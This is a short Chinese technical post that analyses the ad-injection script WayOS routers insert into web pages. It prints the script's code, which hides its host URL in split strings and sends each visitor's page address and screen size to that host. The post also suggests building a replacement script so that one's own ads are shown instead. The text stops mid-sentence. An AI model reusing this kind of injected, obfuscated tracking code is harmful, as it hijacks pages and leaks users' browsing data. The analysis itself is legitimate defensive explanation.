wayos靠插入js代码来投放广告，与cnzz站长统计一样的原理,一般插入到网页最底部，如
<script charset="utf-8" async="true" src="http://t.5txs.cn/rb/i7.js"></script>
解析这个i7.js源代码为
(function(d) {
function $a(p) {
try {
var x = d.getElementsByTagName("head")[0];
var y = x.appendChild($s(p));
setTimeout(function() {
x.removeChild(y)
}, 2000)
} catch (e) {}
}
function $c(n) {
return d.createElement(n)
}
function $s(p) {
var j = $c("script");
j.src = p;
j.async = true;
j.type = "text/javascript";
return j
}
var amt = 0;
function $rn() {
var ww = d.body.clientWidth;
var hh = d.body.clientHeight;
var u = {
j: "ht",
c: "com.cn",
q: "tp:",
m: "b.",
n: "wdzs",
d: "a."
};
var be = u.j + u.q + "//" + u.d + u.n + u.m + u.c;
/** var be =http://a.wdzsb.com.cn/ **/
var en = escape(window.location.href) + "&a=" + Math.random() + "&w=" + ww + "&h=" + hh;
if (top == this) {
if (ww < 300 || hh < 40) {
amt += 1;
if (amt < 3) {
setTimeout($rn, 1000)
} else {
$a(be + "/fmt7p/m.php?u=" + en)
}
} else {
$a(be + "/fmt7p/?u=" + en)
}
}
}
setTimeout($rn, 500)
})(document);
别让他用var be = u.j + u.q + "//" + u.d + u.n + u.m + u.c;来迷惑你。其实url已经被拆分。真实的url地址如下
http://a.wdzsb.com.cn/fmt7p/?u=你访问的URL&a=0.001605906146013636&w=1263&h=397 http://a.wdzsb.com.cn/fmt7p/m.php?u=你访问的URL&a=0.001605906146013636&w=300&h=397

看到效果了吧。
解决办法
1。我们也可以来构建一个js代码，用来替换http://t.5txs.cn/rb/i7.js，同样也做一个枉、网页html.可以做到完全拦截他而展示自己的广告
2.完全屏蔽cnzz统计
3.在自己网站html php asp代码最后，加<!--代码
